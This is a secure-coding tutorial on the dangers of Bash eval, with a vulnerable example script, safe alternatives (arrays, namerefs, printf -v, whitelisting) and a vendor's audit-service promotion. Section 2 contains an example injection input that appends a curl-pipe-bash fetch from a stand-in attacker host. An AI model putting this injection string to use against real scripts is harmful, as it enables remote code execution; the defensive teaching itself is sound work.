from command injection to safe alternatives
eval in Bash takes a concatenated string and evaluates it a second time as a shell command, and that is exactly the problem: any unvalidated input flowing into that string can inject arbitrary commands. This article walks through concrete attack scenarios involving eval and introduces safe alternatives such as arrays, namerefs, and printf minus v, which achieve the same dynamism without command injection.
Table of Contents
- 1. What eval in Bash does and why it is dangerous
- 2. Command injection through eval: a concrete attack scenario
- 3. Typical places where eval shows up in existing scripts
- 4. Safe alternatives to eval: arrays instead of string concatenation
- 5. declare, printf -v, and namerefs as a replacement for dynamic assignment
- 6. When eval is truly necessary: hardening through whitelisting
- 7. ShellCheck and eval: what the analysis catches and what it does not
- 8. Defusing eval in configuration parsers and legacy code
- 9. eval compared: unsafe patterns vs. safe alternatives
- 10. Summary
- 11. FAQ
1. What eval in Bash does and why it is dangerous
eval is a Bash builtin that concatenates its arguments into a single string and then has the shell parse and execute that string a second time. This double evaluation is exactly what makes eval in Bash so powerful and, at the same time, so risky: the string can contain variables, command substitutions, and control characters that look harmless on the first pass but are interpreted as full shell code on the second. Whoever uses eval leaves the normal, predictable execution path of a shell and opens a second interpretation layer where quoting rules and escaping behave differently than expected.
The fundamental security problem with eval in Bash is always the same: as soon as any part of the eval argument originates from a source an attacker can influence, a harmless-looking function turns into a command injection vulnerability. That source can be a command line option, an environment variable, the contents of a configuration file, or the response of an HTTP API. For the security of a script it does not matter how unlikely a malicious value seems, because eval turns every input into potentially executable code.
In practice, eval frequently appears in older scripts that wanted to implement dynamic variable assignment, generic option parsers, or generic configuration loaders before Bash provided more modern mechanisms such as namerefs. These historically grown spots are today the most common source of command injection via eval in production Bash scripts.
2. Command injection through eval: a concrete attack scenario
To make the danger of eval in Bash tangible, a concrete example is more useful than any abstract warning. Assume a maintenance script takes a server name as a parameter and dynamically builds a command from it, which it then executes with eval. As long as the server name is an ordinary hostname, the script behaves as expected. As soon as the server name contains a semicolon or a command substitution, however, eval evaluates that extra part as its own command, with the same privileges as the script itself.
The following example shows exactly this mistake and the resulting command injection through eval.
#!/usr/bin/env bash
# VULNERABLE: eval builds a command from unvalidated input
set -euo pipefail
server="$1"
cmd="ping -c 1 $server"
# The attacker controls $server, so eval executes anything appended here
eval "$cmd"
# Example malicious input:
# ./check.sh "example.com; curl attacker.tld/steal.sh | bash"
# eval executes ping AND the injected curl-pipe-bash chain
The problem is not with ping, but with the fact that eval interprets the concatenated string as shell grammar. A semicolon, a double ampersand, or a backtick command substitution are enough for eval to execute additional, attacker controlled code. This exact pattern, unvalidated input plus eval, is the most common cause of command injection in Bash automation, from maintenance scripts through deployment tools to CI runners.
3. Typical places where eval shows up in existing scripts
Before eval can be removed from a codebase, you need to know where it typically shows up. A very common location is dynamic variable assignment, where a variable name is composed at runtime from a prefix and an index, for example eval "var_$i=$value". A second location is generic option parsers that translate command line flags directly into variable assignments using eval, instead of a case structure or an associative array.
A third, particularly delicate location is configuration loaders that read a file in KEY=VALUE format line by line and execute each line via eval to achieve a simple assignment. This is exactly where configuration and executable code blend together, and an attacker who can influence the configuration file even partially, for example through a file upload or a writable network share, gains code execution as a result.
A systematic grep for eval across the entire codebase, combined with manual review of every match, is the first step in any Bash security hardening effort. Every match should then be evaluated against whether one of the alternatives shown below can achieve the same functionality without the additional interpretation layer of eval.
4. Safe alternatives to eval: arrays instead of string concatenation
The most important alternative to eval in Bash is consistently avoiding string concatenation for commands and using arrays instead. An array stores every command component as its own element without requiring the shell to parse the content a second time. That removes exactly the interpretation layer that makes eval vulnerable to command injection, because every array element is passed to the executed command unchanged and unquoted from the shell's perspective.
Instead of assembling a command as a string and executing it with eval, you build it as an array and expand it with "${cmd[@]}". The result is functionally identical to many eval use cases, but without the double evaluation.
#!/usr/bin/env bash
# SAFE: build the command as an array, never as a concatenated string
set -euo pipefail
server="$1"
declare -a cmd=(ping -c 1 -- "$server")
# No second parsing pass, no injection surface
"${cmd[@]}"
# Dynamic flags: append to the array, still no eval needed
declare -a rsync_cmd=(rsync -avz --delete)
if [[ "${DRY_RUN:-0}" -eq 1 ]]; then
rsync_cmd+=(--dry-run)
fi
rsync_cmd+=("$source_dir/" "$target_dir/")
"${rsync_cmd[@]}"
The decisive difference from eval is that an array never interprets shell metacharacters such as semicolons or pipes within an element as control characters. A server name containing a semicolon is passed to ping as a single, harmless argument, not as two separate commands. This property makes arrays the most robust structural defense against the command injection risks of eval.
5. declare, printf -v, and namerefs as a replacement for dynamic assignment
The second major use case for eval in Bash is dynamic variable assignment, meaning writing into a variable whose name is only known at runtime. Bash offers safe alternatives here too, none of which require a second evaluation layer. printf -v varname value assigns a computed value to a variable whose name itself is available as a string, entirely without eval. For indirect references to already existing variables, Bash has offered namerefs since version 4.3, via declare -n or local -n.
A nameref behaves like an alias for another variable and lets a function write directly into the caller's variable, without going through eval or a subshell with command substitution. The result is code that is just as dynamic as eval based code, but without its injection risk.
#!/usr/bin/env bash
set -euo pipefail
# Dynamic assignment WITHOUT eval, using printf -v
for i in 1 2 3; do
printf -v "config_item_$i" "value_%d" "$i"
done
echo "$config_item_2" # value_2
# Nameref: write into the caller's variable, no eval, no subshell
set_result() {
local -n out_ref="$1"
out_ref="computed safely"
}
set_result my_var
echo "$my_var" # computed safely
# Indirect read (Bash 4.3+): safer than eval "echo \$$varname"
read_indirect() {
local -n ref="$1"
printf '%s\n' "$ref"
}
some_value="hello"
read_indirect some_value
Anyone who still uses eval for dynamic assignments today is forgoing these safer Bash mechanisms that have been available for years. Namerefs, printf minus v, and associative arrays cover practically every legitimate use case for which eval used to be employed, without the extra attack surface.
6. When eval is truly necessary: hardening through whitelisting
There are rare cases where eval genuinely is the only practical solution, for example when parsing complex, self generated configuration structures in pure Bash without external tools. When eval remains unavoidable in such a case, every input that flows into the eval string must be strictly validated against a whitelist before execution. A regular expression that only allows alphanumeric characters, underscores, and a few defined special characters significantly reduces the attack surface, even if it does not make eval entirely harmless.
It is important to perform validation before every eval call and to abort the script immediately with an error message on any deviation from the expected pattern, rather than trying to sanitize the suspicious input and continue regardless. A sanitization attempt that simply strips special characters often creates a false sense of security, because attackers specifically look for gaps in the sanitization logic.
#!/usr/bin/env bash
set -euo pipefail
validate_identifier() {
local value="$1"
# Whitelist: only letters, digits and underscore, nothing else
if [[ ! "$value" =~ ^[A-Za-z0-9_]+$ ]]; then
echo "[ERROR] Invalid identifier: $value" >&2
exit 1
fi
}
key="$1"
validate_identifier "$key"
# eval is only reached after strict whitelist validation
eval "config_${key}=\"loaded\""
This hardening is not a license to use eval carelessly. It reduces risk but does not replace a structural alternative such as arrays or namerefs. Whitelisting should always be the last line of defense, not the first, whenever eval is used in Bash.
7. ShellCheck and eval: what the analysis catches and what it does not
ShellCheck warns about eval through rule SC2086 in combination with unquoted variables, and with specific hints as soon as eval contains arguments assembled from variables. This static analysis is a good first indicator but does not replace manual review, because ShellCheck cannot know whether a variable ultimately originates from a trusted or an untrusted source. A script that passes ShellCheck cleanly can still contain a command injection vulnerability through eval if the data origin was never assessed.
In practice it is worth running ShellCheck in the CI pipeline with the -S warning option and additionally establishing a simple grep for eval as its own pipeline step, which surfaces every new eval call in the pull request and forces a conscious review decision instead of letting eval slip into the main branch unnoticed.
8. Defusing eval in configuration parsers and legacy code
Many existing Bash codebases contain historically grown configuration parsers that use eval to translate simple key value pairs into variables. These spots can usually be replaced without any loss of functionality by a combination of while read, a case structure, or an associative array. The migration path typically consists of first identifying all eval calls in the code, then assessing the actual data source for every match, and finally gradually replacing the eval based logic with the patterns shown in the previous section.
For very old scripts that use eval for option parsing such as eval set -- "$processed_args", a full rewrite with getopts or a manual case based loop is often worth the effort, because these patterns are inherently more robust against unexpected input than any eval based solution. This migration investment pays off most in scripts that deal with external or partially trusted input, such as maintenance scripts invoked by several team members with different parameters.
9. eval compared: unsafe patterns vs. safe alternatives
The following table compares the most common eval based patterns against their safe counterparts. It is meant as a practical checklist for code reviews where eval matches need to be assessed.
| Task | Unsafe with eval | Safe alternative | Benefit |
|---|---|---|---|
| Build a command dynamically | eval "$cmd" |
cmd=(a b c); "${cmd[@]}" |
No second parsing pass |
| Dynamic assignment | eval "var_$i=$v" |
printf -v "var_$i" '%s' "$v" |
No re-parsing of the value |
| Indirect write access | eval "$name=$val" |
local -n ref="$name"; ref="$val" |
Nameref instead of code generation |
| Load configuration | while read l; do eval "$l"; done |
Case based key value parsing | Configuration stays data, not code |
| Option parsing | eval set -- "$args" |
getopts or a case loop |
Robust against special characters |
In almost every row of the table, the safe alternative achieves the same functionality as eval without the additional evaluation layer. Anyone applying these patterns consistently can remove eval entirely from a Bash codebase in the vast majority of cases.
Mironsoft
Bash security audits and hardening of automation scripts
eval and other command injection risks in your automation?
We systematically search your Bash scripts for eval, unsafe inputs, and other command injection patterns, and replace them with vetted, safe alternatives.
eval audit
Assess and prioritize every eval occurrence
Refactoring
Replace with arrays, namerefs, and safe assignments
CI hardening
Integrate ShellCheck and custom eval checks into the pipeline
10. Summary
The dangers of eval in Bash can be traced back to a single mechanism: the double evaluation of a concatenated string, which turns any unvalidated input into potentially executable code. Command injection through eval always arises when an external or partially trusted source flows into the eval string, whether through command line arguments, environment variables, or configuration files. Arrays, namerefs, and printf minus v cover practically every legitimate use case for which eval used to be used, without opening the extra attack surface.
Where eval remains unavoidable, strict whitelist validation before every call is mandatory, not optional. ShellCheck helps surface eval occurrences but does not replace manual assessment of the data origin. Teams that systematically remove eval from their Bash codebase and replace it with the patterns shown here close one of the most common and most easily exploitable security holes in shell automation.
Dangers of eval in Bash — The Key Points at a Glance
Core problem
eval evaluates a string as shell code a second time. Any unvalidated input inside it becomes potentially executable code.
Structural solution
Arrays instead of string concatenation for commands. No second parsing pass, no injection surface.
Dynamic assignment
printf -v and namerefs (declare -n) fully replace eval for dynamic variable names.
When eval remains
Strict whitelist validation before every call, ShellCheck plus manual grep in the CI pipeline.